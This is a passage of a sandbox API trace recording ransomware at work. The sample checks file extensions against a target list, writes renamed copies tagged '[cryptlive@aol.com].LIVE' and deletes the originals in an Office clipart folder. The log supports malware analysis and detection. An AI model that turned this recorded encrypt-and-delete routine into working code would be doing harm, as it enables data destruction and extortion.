lpString2=".JPG") returned 0 [0149.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0149.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0149.249] lstrlenW (lpString=".doc") returned 4 [0149.249] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.249] lstrlenW (lpString=".docx") returned 5 [0149.249] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0149.249] lstrlenW (lpString=".pdf") returned 4 [0149.249] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.249] lstrlenW (lpString=".xls") returned 4 [0149.249] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.249] lstrlenW (lpString=".xlsx") returned 5 [0149.249] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0149.249] lstrlenW (lpString=".ppt") returned 4 [0149.249] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0149.249] lstrlenW (lpString=".zip") returned 4 [0149.249] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.249] lstrlenW (lpString=".rar") returned 4 [0149.249] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.249] lstrlenW (lpString=".bz2") returned 4 [0149.249] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.249] lstrlenW (lpString=".7z") returned 3 [0149.249] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0149.249] lstrlenW (lpString=".dbf") returned 4 [0149.250] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0149.250] lstrlenW (lpString=".1cd") returned 4 [0149.250] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099168.JPG") returned 63 [0149.250] lstrlenW (lpString=".jpg") returned 4 [0149.250] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.250] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0149.250] lstrlenW (lpString="J0099171.WMF") returned 12 [0149.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.251] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=8754) returned 1 [0149.251] CloseHandle (hObject=0x39c) returned 1 [0149.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf")) returned 0x20 [0149.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.251] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.251] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.252] GetLastError () returned 0x0 [0149.252] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x2232, lpOverlapped=0x0) returned 1 [0149.254] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x2240, lpOverlapped=0x0) returned 1 [0149.255] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0149.255] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.255] SetEndOfFile (hFile=0x384) returned 1 [0149.255] CloseHandle (hObject=0x384) returned 1 [0149.255] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.255] SetEndOfFile (hFile=0x39c) returned 1 [0149.257] CloseHandle (hObject=0x39c) returned 1 [0149.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.258] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf")) returned 1 [0149.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0149.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0149.258] lstrlenW (lpString=".doc") returned 4 [0149.258] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.258] lstrlenW (lpString=".docx") returned 5 [0149.258] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0149.258] lstrlenW (lpString=".pdf") returned 4 [0149.258] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.258] lstrlenW (lpString=".xls") returned 4 [0149.258] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.259] lstrlenW (lpString=".xlsx") returned 5 [0149.259] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0149.259] lstrlenW (lpString=".ppt") returned 4 [0149.259] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0149.259] lstrlenW (lpString=".zip") returned 4 [0149.259] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.259] lstrlenW (lpString=".rar") returned 4 [0149.259] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.259] lstrlenW (lpString=".bz2") returned 4 [0149.259] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.259] lstrlenW (lpString=".7z") returned 3 [0149.259] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0149.259] lstrlenW (lpString=".dbf") returned 4 [0149.259] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0149.259] lstrlenW (lpString=".1cd") returned 4 [0149.259] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0149.259] lstrlenW (lpString=".jpg") returned 4 [0149.259] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0149.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0149.259] lstrlenW (lpString=".doc") returned 4 [0149.259] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.259] lstrlenW (lpString=".docx") returned 5 [0149.259] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0149.259] lstrlenW (lpString=".pdf") returned 4 [0149.259] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.259] lstrlenW (lpString=".xls") returned 4 [0149.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.259] lstrlenW (lpString=".xlsx") returned 5 [0149.260] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0149.260] lstrlenW (lpString=".ppt") returned 4 [0149.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0149.260] lstrlenW (lpString=".zip") returned 4 [0149.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.260] lstrlenW (lpString=".rar") returned 4 [0149.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.260] lstrlenW (lpString=".bz2") returned 4 [0149.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.260] lstrlenW (lpString=".7z") returned 3 [0149.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0149.260] lstrlenW (lpString=".dbf") returned 4 [0149.260] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0149.260] lstrlenW (lpString=".1cd") returned 4 [0149.260] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0149.260] lstrlenW (lpString=".jpg") returned 4 [0149.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.260] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0149.260] lstrlenW (lpString="J0099172.WMF") returned 12 [0149.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.261] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=58258) returned 1 [0149.261] CloseHandle (hObject=0x39c) returned 1 [0149.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf")) returned 0x20 [0149.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.262] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.262] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.263] GetLastError () returned 0x0 [0149.263] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0xe392, lpOverlapped=0x0) returned 1 [0149.265] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xe3a0, lpOverlapped=0x0) returned 1 [0149.267] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0149.267] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.267] SetEndOfFile (hFile=0x384) returned 1 [0149.267] CloseHandle (hObject=0x384) returned 1 [0149.267] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.267] SetEndOfFile (hFile=0x39c) returned 1 [0149.270] CloseHandle (hObject=0x39c) returned 1 [0149.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf")) returned 1 [0149.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0149.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0149.271] lstrlenW (lpString=".doc") returned 4 [0149.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.271] lstrlenW (lpString=".docx") returned 5 [0149.271] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0149.272] lstrlenW (lpString=".pdf") returned 4 [0149.272] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.272] lstrlenW (lpString=".xls") returned 4 [0149.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.272] lstrlenW (lpString=".xlsx") returned 5 [0149.272] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0149.272] lstrlenW (lpString=".ppt") returned 4 [0149.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0149.272] lstrlenW (lpString=".zip") returned 4 [0149.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.272] lstrlenW (lpString=".rar") returned 4 [0149.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.272] lstrlenW (lpString=".bz2") returned 4 [0149.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.272] lstrlenW (lpString=".7z") returned 3 [0149.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0149.272] lstrlenW (lpString=".dbf") returned 4 [0149.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0149.272] lstrlenW (lpString=".1cd") returned 4 [0149.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0149.272] lstrlenW (lpString=".jpg") returned 4 [0149.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0149.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0149.272] lstrlenW (lpString=".doc") returned 4 [0149.272] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.272] lstrlenW (lpString=".docx") returned 5 [0149.272] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0149.272] lstrlenW (lpString=".pdf") returned 4 [0149.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.273] lstrlenW (lpString=".xls") returned 4 [0149.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.273] lstrlenW (lpString=".xlsx") returned 5 [0149.273] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0149.273] lstrlenW (lpString=".ppt") returned 4 [0149.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0149.273] lstrlenW (lpString=".zip") returned 4 [0149.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.273] lstrlenW (lpString=".rar") returned 4 [0149.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.273] lstrlenW (lpString=".bz2") returned 4 [0149.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.273] lstrlenW (lpString=".7z") returned 3 [0149.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0149.273] lstrlenW (lpString=".dbf") returned 4 [0149.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0149.273] lstrlenW (lpString=".1cd") returned 4 [0149.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF") returned 63 [0149.273] lstrlenW (lpString=".jpg") returned 4 [0149.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.273] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0149.273] lstrlenW (lpString="J0099173.WMF") returned 12 [0149.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.274] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=37140) returned 1 [0149.274] CloseHandle (hObject=0x39c) returned 1 [0149.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf")) returned 0x20 [0149.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.274] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.275] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.275] GetLastError () returned 0x0 [0149.275] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x9114, lpOverlapped=0x0) returned 1 [0149.389] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x9120, lpOverlapped=0x0) returned 1 [0149.390] ReadFile (in: hFile=0x39c, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0149.390] WriteFile (in: hFile=0x384, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.390] SetEndOfFile (hFile=0x384) returned 1 [0149.390] CloseHandle (hObject=0x384) returned 1 [0149.391] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0149.391] SetEndOfFile (hFile=0x39c) returned 1 [0149.393] CloseHandle (hObject=0x39c) returned 1 [0149.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.409] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf")) returned 1 [0149.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0149.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0149.410] lstrlenW (lpString=".doc") returned 4 [0149.410] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.410] lstrlenW (lpString=".docx") returned 5 [0149.410] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0149.410] lstrlenW (lpString=".pdf") returned 4 [0149.410] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.410] lstrlenW (lpString=".xls") returned 4 [0149.410] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.410] lstrlenW (lpString=".xlsx") returned 5 [0149.410] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0149.410] lstrlenW (lpString=".ppt") returned 4 [0149.410] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0149.410] lstrlenW (lpString=".zip") returned 4 [0149.410] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.410] lstrlenW (lpString=".rar") returned 4 [0149.410] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.410] lstrlenW (lpString=".bz2") returned 4 [0149.410] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.410] lstrlenW (lpString=".7z") returned 3 [0149.410] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0149.410] lstrlenW (lpString=".dbf") returned 4 [0149.410] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0149.410] lstrlenW (lpString=".1cd") returned 4 [0149.411] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0149.411] lstrlenW (lpString=".jpg") returned 4 [0149.411] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0149.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF") returned 63 [0149.411] lstrlenW (lpString=".doc") returned 4 [0149.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.411] lstrlenW (lpString=".docx") returned 5 [0149.411] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0149.411] lstrlenW (lpString=".pdf") returned 4 [0149.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.411] lstrlenW (lpString=".xls") returned 4 [0149.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.411] lstrlenW (lpString=".xlsx") returned 5 [0149.411] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0149.411] lstrlenW 